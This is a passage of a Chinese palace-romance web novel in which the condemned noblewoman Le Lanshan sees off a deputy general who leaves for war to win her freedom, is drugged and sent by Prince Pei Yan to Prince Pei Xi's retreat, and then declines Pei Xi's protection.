乐阑珊微微怔了一下,茫然的眼里泛起一丝极淡的波澜,像是死水中投下了一颗小石子,但很快又归于沉寂。“是不是,还有什么分别?旨意一下,我就是贱籍了。秋副将,以后唤我乐氏即可,‘姑娘’二字,我担不起。”
秋辞心如刀割。他忽然单膝跪地,这个动作让乐阑珊愣住了。
“乐姑娘,”秋辞抬起头,一向刚毅沉稳的脸上,此刻充满了挣扎、痛苦和一种破釜沉舟的决绝,“有件事,秋辞藏在心里三年,今日……今日若再不说,恐怕再无机会。”
乐阑珊静静地看着他。
“三年前,平王府门前……那个雪夜,”秋辞的声音带着压抑的颤抖,“奉命……奉命将您强行拉走的侍卫里……有我。”
乐阑珊仿佛没有听到,毫不动容。
“王爷当时……当时在气头上,下令不许您进门。我们……我们是听令行事。”
秋辞艰难地叙述着,每一个字都像是从喉咙里挤出来,“您挣扎时摔倒,腿被铜丝划伤……我……我当时就在旁边。我看见了……看见血流出来,很多……我想去扶您,可军令如山……我……”
他闭了闭眼,再睁开时,眼底泛着赤红:“那之后,您的腿伤一直不好,落下了病根……我知道。这三年,每次看到您走路时的样子,我……我心里就像被刀子一遍遍割着。乐姑娘,对不起……真的对不起……”
乐阑珊听着,脸上依旧没什么表情,只是眼眸深处,似乎有什么东西在微微碎裂。
原来,那一夜的狼狈与惨痛,旁观者和执行者中,有他。
“你为什么……告诉我这些?”她轻声问。
第51章 “我要去战场,立军功!”
“因为我……我……”
说到这里,秋辞的声音忽然哑住了。
他似乎想抬头,却又不敢,像害怕看到她的眼神。
“乐姑娘……我这些话,本不该说的。”
他语气颤抖着——不是害怕,而是长久压抑后的彻底崩塌。
“三年了……每次看到你被欺辱,被指责,被关进杂役司……我都想冲出来替你挡,可我说不出口,我没有资格。”
他深吸一口气,却吸得胸腔发痛。
“我每一次想替你出头……都被自己压回去。因为我不够好,不够强,不够配。”
他狠狠攥住自己的拳。
“直到今日,我才知道——原来憋着不说,比死,还难受。”
秋辞忽然抬头,眼眶通红,像是终于被逼到了极限。
“乐姑娘,我忍得太久了……真的、真的忍不住了。”
这个面对刀剑无眼从不改色的汉子,此刻竟有些语无伦次,“因为我从很久以前……从您还是护国公府千金的时候……就……就仰慕您。可我知道自己身份低微,不过一个副将,配不上您……只能远远看着。后来您遭难,我……我更恨自己无能为力……”
他深吸一口气,像是用尽了全身的勇气,目光炽烈而坚定地望向她:“乐姑娘,陛下旨意虽下,但去处未定。北凉边境不稳,大战在即。我已向王爷**,随军出征北凉!”
乐阑珊一下愣住了。
“我要去战场,立军功!”
秋辞的声音斩钉截铁,“大昭律例,贱籍者,若有至亲立下足够军功,便可为其赎身!我秋辞孤身一人,无牵无挂,若能以战功换您脱籍,哪怕只有一线希望,我也要**!”
他目光灼灼,带着孤注一掷的火焰:“乐姑娘,秋辞今日在此,并非乘人之危。我只想问您一句……若秋辞有幸,他日能建功立业,为您挣得自由之身……您……您可否愿意……嫁给秋辞为妻?我不敢奢求您此刻应允,只求您……给我一个机会,一个盼头!”
地牢里一片死寂,只有秋辞粗重的呼吸和油灯偶尔爆出的噼啪声。
乐阑珊怔怔地看着跪在自己面前的男人。他眼中的情意真挚而滚烫,誓言大胆而疯狂。
在她众叛亲离、坠入深渊、即将永世不得翻身之际,竟有这样一个人,愿意为她奔赴死地,赌上性命和未来,只为换她一个渺茫的“可能”。
没有算计,没有权衡,只有最直接、最赤诚的倾慕与守护。
冰封的心湖,似乎被这团炽热的火焰,烫开了一道细微的裂缝。一丝微弱到几乎无法察觉的暖意,混杂着巨大的酸楚,涌了上来。
良久,她听到自己干涩的声音响起,轻得像一声叹息:
“战场凶险,九死一生……秋副将,何必?”
“为你,值得。”秋辞回答得毫不犹豫,目光坚定如磐石。
乐阑珊缓缓闭上了眼睛,两行清泪,终于无声地滑落苍白的面颊。
她没有说“好”,也没有说“不好”。
但秋辞却像是得到了某种承诺,深深地一礼:“乐姑娘,保重。等我回来!”
他起身,深深看了她一眼,仿佛要将她的模样刻入灵魂,然后毅然转身,大步离开了地牢。
脚步声坚定而有力,带着一去不返的决绝。
乐阑珊睁开泪眼朦胧的双眸,望着他消失的甬道方向,手中,不知何时,紧紧攥住了秋辞悄悄塞在她掌心的一枚冰凉坚硬的物件——那是一枚粗糙却打磨光滑的长命锁,用红绳穿着,还带着他的体温。
北风似乎透过厚重的石墙,吹进了地牢,冰冷刺骨。但掌心那一点微弱的暖意,却像风中残烛,倔强地,不肯熄灭。
圣旨虽未明发,“乐氏阑珊,没入贱籍”的风声,却如同最凛冽的北风,穿透了平王府的高墙,也冻结了裴衍最后一丝侥幸。
书房内,地龙烧得正旺,裴衍却觉得四肢百骸都浸在冰水里。
昭帝的判决,每一个字都像烧红的烙铁,烫进他的心里。
“贱籍”
他猛地闭上眼,仿佛这样就能隔绝那刺目的字句,但脑海中却无比清晰地浮现
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出乐阑珊的脸。
不是寿宴上惊艳绝伦的模样,也不是重逢时死寂冷漠的模样,而是更久以前,她十四岁生日宴,穿着茜红罗裙,簪着他送的碧玉簪,在护国公府后园的秋千上,笑得比春光还明媚,回头脆生生喊他:“衍哥哥,你推高些呀!”
那时他觉得,全京城的春光加起来,也不及她笑靥半分。
他曾暗暗发誓,要护她一世如此无忧。
可如今呢?
是他亲手折断了她的秋千,将她推入了万劫不复的深渊。三年杂役司的磋磨还不够,如今更是要被打入最底层的贱籍,再无尊严和将来。
她那样骄傲的一个人……
心脏像是被一只无形的手攥住,狠狠拧绞,疼得他几乎要弯下腰去。
不是愤怒,不是不甘,而是一种迟来的、排山倒海般的悔恨和恐慌。如果他当年没有那般狠心绝情?如果在她回到王府后,他肯放下那可笑的自尊和猜忌,早早给她一个名分,哪怕是最低等的侍妾,将她牢牢护在羽翼之下……是否就不会有今日?
邓家势大,但他若铁了心要护一个人,难道真就护不住吗?不过是权衡利弊之后,觉得不值得为她彻底与邓家翻脸,觉得她总会在他掌控之中,觉得……时间还多。
如今,时间没了。
父皇的意志,在维持朝局稳定、尤其是护国公旧案“盖棺定论”这件事上,不容置疑。
自己贵为亲王,手掌兵权,却连保住一个女子的清白未来都做不到。
这种无力感,比任何战场上的失利都更让他挫败和颓丧。
就在他深陷懊悔的泥潭时,周叔匆匆来报,声音有些异样:“王爷,乐姑娘……她跪在外院,求见王爷。”
裴衍一怔,猛地起身:“她?在外面跪着?”
周叔:“是,乐姑娘被放出了地牢,没顾上回偏殿,就急着来见王爷。”
一听此言,裴衍顾不上多想,就冲了出去。
他心里暗自有些开心:“阑珊,你心里还是有我,出来后第一件事就想来见本王了。”
第52章 雪中舞影
他大步走到外院。
只见纷扬的细雪中,乐阑珊直挺挺地跪在冰冷的青石地上。
她穿着单薄的白色囚服,脸和手都冻得发青,背脊却挺得笔直。
纷飞的细雪,衬托出一个单薄清秀的身影,一脸的清冷藏在妩媚之中,犹如一枝腊梅迎风傲雪。
裴衍看着眼前的她呆住了,声音却仍旧冷漠:“你终于肯来见本王了。说罢,有什么想求本王的。只要不是去除贱籍,其他的本王可以酌情处置。”
“王爷,”她的声音因寒冷而微微发颤,却异常清晰,“奴婢恳求王爷,准奴婢……送秋副将一程。”
裴衍的心像是被重锤狠狠砸中,骤然缩紧。
为了秋辞!原来出狱后来见他不是因为自己,而是为了秋辞!
她竟是为了秋辞,不惜向他下跪!
那挺直的脊梁,那不肯低头的骄傲,在为了另一个男人时,可以如此轻易地折下?妒火瞬间蹿起,烧得他五脏六腑都在灼痛。
“你,你怎么肯…….怎么可以…….”裴衍想吼,可是吼不出来,“本王…..本王……不…….”
乐阑珊没有哀求,而是从怀中掏出一根木簪子,直接对准了自己的喉咙。
“不要!”裴衍惊慌地喊道。
“王爷,奴婢知道自己贱命一条,不值得王爷怜惜。”乐阑珊一字一句地说道,“可秋副将跟随了王爷多年,如今上战场,刀剑无眼,王爷难道就忍心让他就这么走吗?”
“秋辞是本王的副将,本王自会给他践行。”
“可此行他是为了奴婢而去,奴婢定要为他送行。不然,奴婢宁愿血溅王府!”
说着,手往下压了压。
“你答应嫁给他了!”裴衍脸黑了下来。
“奴婢嫁给谁,与王爷何干?”乐阑珊语气里含着悲伤,“奴婢与王爷青梅竹马,难道王爷就连这一点恩典都舍不得给奴婢吗?”
迎上她那双眼睛,那里面没有哀求,只有一种破釜沉舟的坚持。
裴衍忽然意识到,这不是妥协,而是她能为秋辞出征前做的唯一的事了。
她知道自己即将堕入贱籍,前途茫茫,生死未卜,这或许是此生最后一次见秋辞。
那妒火在胸腔里左冲右突,最终却化为更深的刺痛和一种难以言喻的酸涩。
他有什么资格嫉妒?有什么资格生气?更没有资格拦阻!
秋辞能为她赴死,他裴衍能为她做什么?连让她送行,都成了需要“恳求”的恩典。
“……准了。”
他听到自己干涩的声音吐出这两个字,仿佛用尽了力气。
看着她眼底骤然亮起的一点微弱光芒(为了秋辞!),裴衍只觉得喉咙发苦,袖中的手紧握成拳,任凭指关节“咯咯”作响。
次日拂晓,城门风雪。
秋辞一身盔甲,与出征大军列队候命。
寒风凛冽,白雪皑皑。
望着天际,秋辞满怀怅然。
此去北凉,一路凶险,也许就是不归路。但是他不怕,眼中有盼望,心中有爱人。他秋辞无论生死,值得一搏。
“阑珊,好好地等我回来。那时,不管你是贱籍,还是奴籍,都是我秋辞的未婚妻。我一定会给你赎身,让你自由自在过完余生!”
大军指令官摇动大旗,出征队伍整装待发。
秋辞收紧马缰绳,却听到不远处的一片马蹄疾。
裴衍带着一小队亲兵赶来,在他身边是一名女子,披着厚厚的棉披风。
到了队伍前,女子立刻下马,奔了过来。
他看清楚了,那是乐阑珊。
秋辞看着风雪中那抹跌跌撞撞奔来的灰暗身影,冷峻的脸上终于裂开一道缝隙。
他下马急步迎上,紧紧抱住了她冰凉单薄的身子。
“你不该来……”他声音沙哑。
“我要来。”乐阑珊打断他,仰起脸,努力想给他一个笑容,却比哭更让人心碎。她将一直捂在心口的一个福袋递给他,指尖冰凉颤抖。
就在秋辞珍重接过,揣入怀中,翻身上马,最后深深凝望她一眼,准备挥鞭起程时——
乐阑珊忽然向后退开几步,站在风雪空地上。她深吸一口气,忍着身上未愈刑伤传来的剧痛,缓缓抬起了手臂,解开抛掉了身上的棉披风。
她开始翩翩起舞。
没有乐声,只有呼啸的风雪伴奏。
那不再是寿宴上精雕细琢、恢宏大气的“山河舞”,而是更原始、更悲怆的肢体语言。
每一个旋转,都带着孤注一掷的决绝;
每一次伸展,都仿佛在对抗无形的枷锁;
每一次顿足,都似有千钧重负。
风雪卷
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起她的衣摆和发丝,苍白的脸上因剧烈动作和伤痛泛起不正常的潮红,身上的刑伤绽裂,学学染红了一身白囚服。远远看去,变成了一件特殊的舞衣。白雪染红,红映白雪,分外耀眼。
但她眼神明亮灼人,用尽全部生命在起舞,仿佛要将所有的祝福、期盼、不舍,都融进这无声的舞蹈里。
她在用伤痕累累的身体,为他跳一曲战舞!一曲祈愿平安、鼓舞士气的离别之舞!
秋辞僵在马上,虎目瞬间通红,握着缰绳的手青筋暴起,几乎要捏碎。他死死咬住牙关,才没让自己冲下马去。
裴衍站在不远处,看着风雪中那抹倔强起舞的灰影,整个人如遭雷击。
他从未见过这样的乐阑珊,脆弱与刚烈如此诡异地交织在一起,美得惊心动魄,也惨烈得让他心胆俱颤。
她为了送秋辞,竟能做到如此地步!
那份情意,那份心志,如同最灼热的岩浆,烫穿了他所有的傲慢和自以为是。
他之前那些占有、那些算计、那些不甘,在这份纯粹而炽烈的情感面前,显得如此卑劣可笑。
她在风雪里缓缓停下。
最后一个旋身落下时,整个人像被抽空了力气,胸口急促地起伏。
秋辞下意识要冲过来,却被她轻轻摇头阻止。
她的口型清晰——“走。”
秋辞死死咬住牙,将所有情绪压进眉间。
他翻身上马,最后看她一眼,目光灼得像能烧穿风雪。
“出发!”
指令官大旗挥下,黑色的军阵如潮水般涌动,踩碎积雪的声响震彻天地。
风卷起秋辞披风,卷着他最后的凝望,一寸寸远去。
直至雪幕将他的背影吞没。
乐阑珊整个人松下来,身体再也撑不住,一跪,膝盖陷入冰雪。
风声呼啸,却静得像把天地都掏空了。
就在这时,一阵急促的马蹄声传来,竟是三皇子裴惔带着几个随从赶到。
当他看到风雪中忘情独舞的乐阑珊时,瞬间呆住了,眼中爆发出毫不掩饰的惊艳与贪婪。
裴惔抬手一拂披风,语气带着戏谑,懒散却带刺,“乐氏这副筋骨……若是跳给孤看,怕是更好看。”
他说得轻,却刺耳:“四弟,反正要入贱籍了,不如把她送给三哥吧。”
第53章 给她找一个相对安全的“去处”
“不行!”
裴衍和乐阑珊的声音几乎同时响起。
乐阑珊撑着站起身,虽然摇摇欲坠,眼神却冷得像冰,直射裴惔:“豫王殿下,乐阑珊宁入贱籍,不为玩物!”
裴惔脸色一沉:“一个贱婢,也敢……”
“三哥,”
裴衍上前一步,挡在了乐阑珊身前,声音冷硬,“此事,不劳你费心。我自有安排。”
他心中那点因乐阑珊为秋辞起舞而激起的波澜,此刻被裴惔的觊觎彻底搅乱,取而代之的是一种更强烈的、绝不允许她落入此等境地的决心。
裴栾碰了个钉子,看着裴衍难看的神色和乐阑珊冰冷的脸,哼了一声,悻悻地带人走了。
风雪依旧,乐阑珊望着秋辞消失的方向,仿佛被抽走了所有力气。
裴衍看着她的背影,想起裴惔的话,让他感觉很怅然。
当初如果自己收了她,何至于到今天。
今天自己就是想收她,也不可能了。
回了王府,裴衍心情越发沉重。乐阑珊入贱籍的忧虑,如同挥之不去的雾霾,搅得他心烦意乱。
虽然妒嫉乐阑珊对秋辞付出的深情,可他心底还是盼望秋辞真的能立下军功,可以为乐阑珊赎身。
可是战场刀剑无眼,那军功哪里是那么好立的?万一……….
父皇虽然做了决定,可是圣旨一直未正式下,是否在给自己机会,为乐阑珊想出出路。
被一个皇子收房,的确是一条出路。裴惔肯定不行,那谁可以呢?
一个念头突然浮上来——二皇兄,裴曦。
可念头刚刚成形,他自己都被吓了一跳。
把一个昏迷的女子送往别的男人那里,这种举动若被拆开来逐字看,肮脏得连他自己都无法直视。他甚至在心底迅速否认了三次,仿佛那念头是从阴影里长出来的,不该属于他。
但转念之间,他又明白得残忍——除了裴曦,他实在想不到第二条路。
他能倚仗的皇子不多,而裴曦是唯一既不会染指她,又能稳妥遮住风口浪尖的人。
只是,该如何让心高气傲的她“心甘情愿”去呢?
裴曦又愿意染指这个“麻烦”吗?他可是二皇子,虽然身体不佳,但是名声很好,父皇也很器重。他想要,京城中有的是贵女。虽然他似乎看上去对乐阑珊也有意思,但是目前风口浪尖上,他甘心收房吗?
裴衍的眼神暗了暗,一个模糊而卑劣的念头,在极度焦虑和某种阴暗心理的驱使下,悄然滋生。
乐阑珊被带回王府后,因风寒和伤痛交织,加上心力交瘁,很快又发起了高烧,意识昏沉。
裴衍命人将她安置在一间稍暖和的厢房,请了府医,用的却都是些温和不伤根本、却会让人持续昏睡的方子。
“王爷,这……”府医有些迟疑。
“照做。”裴衍背对着床榻,声音低沉而疲惫,带着不容置疑,“让她……好好睡一觉。明日,送她去澄心苑,宁王殿下那里静养。”
他不敢回头去看乐阑珊昏睡中依旧紧蹙的眉头。
他知道自己在做什么——用药物让她失去意识,在她无法反抗、无法表达意愿的情况下,将她“送”到另一个男人身边。
这行径,与当初默许邓馨儿设计害她何异?甚至更卑劣,因为他亲自下了令。
可他想不到别的办法。
父皇的旨意随时会下,他必须在乐阑珊被官衙带走前,给她找一个相对安全的“去处”。
裴曦品性高洁,澄心苑也足够清净。这或许是眼下唯一能让她免于立即堕入最不堪境地的权宜之计。
至于她的意愿……
裴衍痛苦地闭上眼,他宁愿她醒来后恨他,也不愿她被发配边陲苦役营,或者送入歌妓坊卖笑生涯。
澄心苑,夜。
乐阑珊是在一阵浓郁的药香和温暖的触感中恢复意识的。
头依旧昏沉,身体软绵绵的没有力气,但睁眼所及的一切都陌生得过分——
锦帐低垂得像将她与世隔绝,暖炉的热气把空气催得沉得可怕,连呼吸都带着不真实。
安静。**静了。
安静到不像是给她疗伤的地方,更像是某种“被挑选后”暂时安置的所在。
她心中一惊,猛地想坐起,却牵动了身上的伤,疼得闷哼一声。
“你醒了?”一个温和清润的声音在不远处响起。
乐阑珊警惕地转头,只见窗边软榻上,坐着一位披着素色外袍的男子,正就着灯光看书。他面容清癯,肤色带着久不见阳光的苍白,但眉眼疏朗,气质沉静如水。
正是宁王裴曦。<
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br>“宁王殿下?”乐阑珊的声音沙哑干涩,挣扎着想要下床行礼,脑中却在飞快回想——自己不是病倒在平王府吗?怎么会在这里?
“不必多礼,你身上有伤,且躺着吧。”裴曦放下书卷,目光平静地看向她。
没有探究,没有怜悯,只有一种温和的审视:“是四弟将你送来,说你伤病未愈,需静养,托我照看几日。”
乐阑珊的心沉了下去。裴衍……将她送来了这里?在她昏迷的时候?
一种被摆布、被当作物品转送的**感涌上心头,但比**更甚的,是警惕。
裴衍到底想做什么?裴曦又为何肯收留她这样一个麻烦?
裴曦似乎看出了她的疑虑,淡淡道:“澄心苑不在皇宫中,是个鲜少为人知的皇家小院,供皇亲们休养所用,平日只有医仆与几个老仆,清净得很。你既来了,便安心养着。西厢已收拾出来,一应物品俱全。等你养好身子,是去是留,再议不迟。”
他语气仍是清和的,可在那句“再议”落下时,眼尾轻轻一敛,像是藏着某种说不出口的顾忌。转瞬又恢复成波澜不惊的宁静,仿佛那点微光只是一场错觉。
他顿了顿,补充道,“我知你心事,亦知你风骨。此处无人会强迫你做任何不愿之事。”
他的话如同一缕清风,稍稍吹散了乐阑珊心头的阴霾和警惕。
裴曦的态度太过坦荡平和,与裴衍的焦躁、裴惔的轻浮截然不同。
她隐约感觉到,这位深居简出的宁王殿下,或许是她此刻难得的喘息之机。
接下来的两日,乐阑珊在澄心苑得到了妥善的照顾。
澄心苑静得近乎隔绝外界,像是把整个京城的喧嚣都摁在某处厚重的门后。
仆役恭谨,药膳精细,每一样都无可挑剔——
裴曦除了偶尔询问她的病情,并不常出现,给予了她极大的空间。
可越是这样无懈可击的安宁,她越觉得心底的不安像水下的暗流,悄悄推着她朝某个看不见的方向滑去。
她能休息,却不敢完全放下心。
每到夜深,风过竹影时,总会有种模糊的错觉——
她反复问自己,心底的疑虑像寒风一样窜动:“自己怎么会被送到这里来,宁王又为什么如此善待自己?”
第54章 阑珊的路,终究要自己去走
乐阑珊身体恢复得很快,但心头的重压并未减轻。
贱籍的阴影,秋辞的远征,未来的渺茫,依旧如同巨石压在胸口。
第三日晚,裴曦命人请她至书房。
书房内烛火通明,裴曦正在烹茶,动作如行云流水,优雅安稳。
“坐。尝尝这茶,安神。”
乐阑珊依言坐下,接过茶杯,温热的触感透过瓷壁传来。
可她却不敢饮用。
“怎么,怕本王在茶里下药?”裴曦笑了,“本王如果想做龌龊之事,无论你是糊涂的还是清醒的,本王都无需费吹灰之力。”
话一出,乐阑珊羞红了脸,忍不住低下了头。
裴曦看着她,缓缓道:“四弟将你送来,其用意本王约莫能猜出几分。无非是想在本王这里,为你寻一个相对安稳的落脚处,避过最严酷的贱籍服役。”
乐阑珊指尖一颤,茶水微漾。
“他甚至更希望,借由你留宿亲王别苑的名头,让外界有些猜测,或许能对你的处境有所转圜。”裴曦的语气依旧平淡,却字字犀利,“乐姑娘,若你愿意,我可对外宣称,收你为侍药婢女,长留澄心苑。虽名义上仍是服役,但可免流徙之苦,境遇与寻常官奴天差地别。”
这是一个选择。一个极具诱惑力的选择。可以暂时避开深渊,获得宝贵的喘息时间,甚至可能……借助宁王的庇护,悄悄做些什么。
乐阑珊抬起头,望向裴曦。
他眼中清澈明净,并无狎昵算计,只是平静地给予选择。这位王爷,似乎真的只是想给她一条相对好走的路。
然而,乐阑珊的脑海中,却闪过风雪中秋辞回望的最后一眼,闪过他胸前的那枚平安福袋,闪过自己发过的誓——绝不下作求存。也闪过裴衍将她迷晕送来的卑劣手段。
她缓缓放下茶杯,站起身,对着裴曦,敛衽行了一个极郑重的礼。
“殿下厚恩,阑珊没齿难忘。”她的声音清晰而坚定,在寂静的书房里回荡,“殿下君子之风,澄心苑清净之地,能容阑珊养伤数日,已是天大的恩典。”
她抬起头,目光清亮如寒星,映着跳动的烛火:“然,阑珊自知罪籍之身,前程已定。殿下美意,若阑珊接受,便是利用殿下清誉,行暧昧苟且之事,以图侥幸。此举,非但自辱,更是辱及殿下,还会因此激怒陛下。”
她深吸一口气,背脊挺得笔直,一字一句,掷地有声:“乐阑珊此生,蒙冤受辱,命途多舛,或许注定要在泥沼中打滚。但纵使满身污秽,心骨不可折。我宁愿清醒着踏入那贱籍该去的苦寒之地,明明白白地腐烂,也绝不用这不清不白的方式,玷污自己最后一点尊严,更不敢玷污殿下门庭。”
“明日,阑珊便会离开。该去何处服役,便去何处。殿下之恩,唯有来世再报。”
说罢,她不再看裴曦的反应,转身,一步步稳稳地走出了书房。
单薄的背影在廊下灯光中拉出长长的影子,孤绝而挺拔。
裴曦望着她消失的方向,良久未动,手中温热的茶杯渐渐变凉。
他眼中欣赏之色浓得化不开,最终化为一声极轻的叹息,消散在茶香与夜色里。
“好一个‘宁愿清醒着腐烂’。”
他低语,“四弟,父皇,你们可知,你们逼碎的,是怎样一块绝世璞玉。”
窗外,夜色深沉。乐阑珊回到西厢,关上门,背靠着门板缓缓滑坐在地。
她没有哭,只是紧紧抱住了自己的膝盖,将脸埋了进去。
拒绝了裴曦,等于拒绝了最后一道可能的屏障。
前路,只剩下冰冷刺骨的“贱籍”现实。
但,她不后悔。
第五日,天光微亮,雪后初霁。
乐阑珊身上的伤在澄心苑的精心照料下已好了七八分,心头却比来时更加沉重清明。
她换回了自己那身粗糙的奴婢衣装,将房间收拾得一丝不乱,如同从未有人住过。
最后看了一眼这给予她短暂安宁的斗室,她深吸一口气,走向前厅去向裴曦辞行。
还未至殿前厅,一阵压抑的、撕心裂肺的咳嗽声便从虚掩的门内传来,中间夹杂着剧烈的喘息,好像五脏六腑都要咳出来了。<
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br>乐阑珊脚步一顿,停在廊下。
那咳嗽声持续了许久才渐渐平息,接着便是裴曦略显虚弱却依旧平稳的声音,在吩咐内侍,语气从容,丝毫感觉不出刚才那那番病痛发生在他身上。
乐阑珊心中一惊。
她早听闻宁王殿下体弱,深居简出,却未曾想竟羸弱至此。
那咳嗽声里透着深入骨髓的病气。
可即便病骨支离,这位殿下给她的感觉,却始终是温润而有力的,那种沉着的气场,并未因身体的衰败而有丝毫折损。
她忽然想起寿宴前那日,裴曦出面调停时,那平静却不容置疑的威严。又想起那夜书房中,他给予选择时的坦荡清明。
病痛在折磨他的身体,却阻挡不了他骨子里的风骨与智慧。
乐阑珊在震惊之余,涌起深深的敬意。
待殿内声音平息片刻,乐阑珊才轻轻叩门。
“进来。”裴曦的声音已恢复如常,只是有些沙哑。
乐阑珊推门而入,只见裴曦已端坐在临窗的软椅上,面前小几上放着药盏,空气中残留着淡淡的苦药味。
他脸色比前两日更苍白了些,眼下有淡淡的青影,但神情依旧平和,甚至对她微微一笑:“要走了?”
“是。”乐阑珊跪下行礼,“多谢殿下连日来的照拂。奴婢伤病已愈,不敢再叨扰殿下清静。今日特来辞行。”
裴曦静静看着她,没有立刻说话。
阳光透过窗棂,在他苍白的脸上投下淡淡的光影。
“你想清楚了?出了澄心苑,便会有贱籍官衙的人来接了。前路很艰难。”
“奴婢想清楚了。”乐阑珊抬起头,目光清澈而坚定,“殿下恩德,阑珊铭记于心。但正如那夜所言,阑珊的路,终究要自己去走。赖在殿下羽翼之下,虽得一时安稳,却非长久之计。而连累殿下为陛下所疑惑,更非阑珊本心。”
裴曦眼中掠过一丝极淡的赞赏,随即化为更深沉的感慨。
“宁王殿下,奴婢自己走了。”
裴曦目光微凝,缓声问:“为何不要本王派人送你?”
第55章 本王这残破之身,护不了她多久
乐阑珊轻轻答道:
“阑珊不想连累殿下,让他人看到宁王派车送一个贱奴,传到陛下耳边,会辱没殿下清名。”
“乐阑珊,你可知,有时过刚易折。”裴曦缓声道,“这世道,对女子尤其苛刻,对你这般身世经历的女子,更是如此。留得有用之身,未必不能等到云开月明。”
“奴婢明白殿下是为我好。”
乐阑珊声音低了一些,却无动摇,“但奴婢更怕,在等待中磨钝了心志,习惯了依附,最终连自己是谁都忘了。即便将来真有云开月明的一日,一个失了筋骨的人,又如何配得上那光明?”
她顿了顿,再次叩首,“殿下风骨,高山仰止。奴婢虽愚钝,亦愿效仿万一——纵使身陷泥淖,心魂不可俯就。”
裴曦沉默了许久,最终轻轻叹了口气,那叹息里包含了太多复杂的情绪。“罢了。你既有此志,我便不再多言。”
他示意旁边侍立的老内侍,“去取那件锦缎棉大氅来。”
内侍很快取来一件雪白无瑕的锦缎棉大氅,一看便知是精品,非常暖和。
“这件棉大氅你穿上,算是本王赏赐你的。穿着它,或许能少受些风寒之苦。”
乐阑珊看着这件棉大氅,鼻尖一酸。
这件棉大氅在她还是贵女的时候不算出色,但是在她马上沦为贱籍时候就太过珍贵了,与她即将奔赴的贱籍身份格格不入。
但裴曦的目光温和而坚持,那里面没有施舍,只有一种纯粹的、长者的怜惜与赠送。
她最终双手接过:“奴婢谢殿下厚赐。”
然后将大氅紧紧抱在怀里,再次深深一拜,“殿下保重身体,万望珍重。”
裴曦微微颔首,看着她起身,抱着那件与她衣衫极不相称的大氅,一步步退出了殿门。
阳光洒在她单薄却挺直的背影上,竟反射出孤勇的光芒。
直到她的身影消失在廊角,裴曦才猛地捂住嘴,又是一阵压抑不住的剧烈咳嗽,比之前更甚,苍白的脸颊泛起病态的红晕。
内侍慌忙上前拍背递水,眼中满是忧色。
“殿下,您这又是何苦……明明……”内侍欲言又止。
裴曦好不容易止住咳,靠在软枕上喘息,目光却依旧望着乐阑珊离去的方向,声音低弱却清晰:“这样一个女子……不该如此陨落。可惜……本王这残破之身,护不了她多久。这世间的风雪……太冷了。”
澄心苑外。
乐阑珊披着棉大氅,刚走出那扇清净的苑门,便见一辆不起眼的青篷马车停在不远处的老树下。
车帘掀开一角,露出一张带着几分慵懒笑意的俊美脸庞。
是瑞王裴诚。
他跳下马车,倚在车辕边,上下打量着乐阑珊,尤其在她身上那件显眼的大氅上停留了一瞬,嘴角那抹笑变得有些意味深长,甚至带着点鬼气森森的魅惑。
“乐姑娘,别来无恙?”
裴诚开口,声音依旧带着那种特有的、漫不经心的磁性,“看来二皇兄待你不错。这‘雪影大氅’可是王府的精品,竟赐给了你。”
乐阑珊没想到他会在这里,微微蹙眉:“瑞王爷怎会在此?”
“路过,恰好。”
裴诚笑得无害,眼底却幽深,“也顺便……看看某个不识好歹、拒绝了最好退路的傻瓜,现在是不是后悔了?”
他话中暗藏机锋,指的显然是乐阑珊拒绝裴曦庇护之事。
乐阑珊面色平静:“人各有志,何来后悔?王爷若无他事,奴婢还要赶路。”
“赶路?回平王府等官衙来提人吗?”
裴诚轻笑一声,摇了摇头,那笑容里似乎有一丝极淡的、近乎遗憾的情绪,“罢了。上车吧,本王送你一程。这冰天雪地的,你走着回去,怕是还没等到贱籍的苦,先冻死在路上了。那多没意思。”
他不由分说,示意车夫摆好脚凳。
乐阑珊略一迟疑,看看裴诚那看似随意却不容拒绝的姿态,加之她也不想一路上被人看见(那件棉大氅和自己身份
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太不般配了),便默默上了马车。
裴诚随后也钻了进来,车内空间不大,顿时弥漫开他身上淡淡的、清洌的迦南香。
马车缓缓驶动,碾过积雪,发出咯吱声响。车内炭盆散着暖意,与外界的冰寒隔绝。
车内一时无人说话,气氛微妙。
裴诚斜倚在软垫上,目光落在车窗外飞速**的枯树雪景,手指无意识地摩挲着腰间玉佩,脸上的慵懒笑意渐渐淡去,覆上了一层晦暗的深思。
乐阑珊裹着暖融融的大氅,端坐在对面,眼观鼻鼻观心,仿佛身边这位亲王不存在。
“乐阑珊,”裴诚忽然开口,声音不高,却打破了沉默,“你知道本王得知你被判‘贱籍’时,在做什么吗?”
乐阑珊抬眼,有些疑惑地看着他。
裴诚没看她,依旧望着窗外,嘴角勾起一抹自嘲的弧度:“本王在母妃宫里,砸了一套前朝官窑的茶具。”
他顿了顿,仿佛在回忆当时汹涌的情绪,“本王恨邓家歹毒,怨四哥无能,更怒这世道不公!我想立刻冲去养心殿,长跪不起,求父皇收回成命,甚至想过派人半路劫走你,藏起来。”
他的语气渐趋激烈,但很快又低沉下去,化为一种深深的无力:“然后,我被母妃狠狠扇了一巴掌。”
乐阑珊微微睁大了眼睛。祥嫔娘娘?那位总是温柔沉静、仿佛与世无争的妃子?
“母妃让我跪下,看着我,一字一句地问本王:‘诚儿,你如今是什么?你拿什么去救她?拿你瑞王的空头爵位?拿你那点不上不下的圣宠?还是拿你母妃我,这个毫无根基、朝不保夕的宫嫔的脸面?’”
裴诚的声音带着一丝压抑的痛苦,“她说,我那不是救人,是找死,是拉着她和乐阑珊一起死。”
他转过头,第一次如此认真、如此毫无保留地看向乐阑珊,那双总是含笑的桃花眼里,此刻翻滚着暗沉的情绪,轻声吐出一句:
“母妃说,你若不死,便会成祸。”
第56章 要赌,就赌一把大的
乐阑珊不解地看着裴诚,想听到答案。
可裴诚却不想往下说了。
道路有些颠簸,裴诚闭上了双眼,小昧起来。
看着他这个样子,乐阑珊便不再多问了。混混耗耗的,她也迷瞪起来。
其实,裴诚并没有睡着,和母妃的对话又浮现在他脑海中。
“诚儿,你以为母妃是如何从一介低贱的宫婢,成为今日的祥嫔?”
祥嫔的声音平静无波,却像重锤敲在年轻的裴诚心上。
她等裴诚发完了脾气,砸完了茶盅,便屏退了身边的宫人,殿内只剩母子二人。
祥嫔慢慢地讲起来自己的故事:
那时的祥嫔,不过是齐太后的陪嫁佣人之一。陪嫁过来时,年岁尚小。
眼看着齐太后一步步地登上了皇后的宝座,稳坐后宫,而自己一直不过是宫中一个低贱的宫婢。
虽然在皇宫奴仆中,皇后宫中的宫人地位最高,但是毕竟是奴仆。
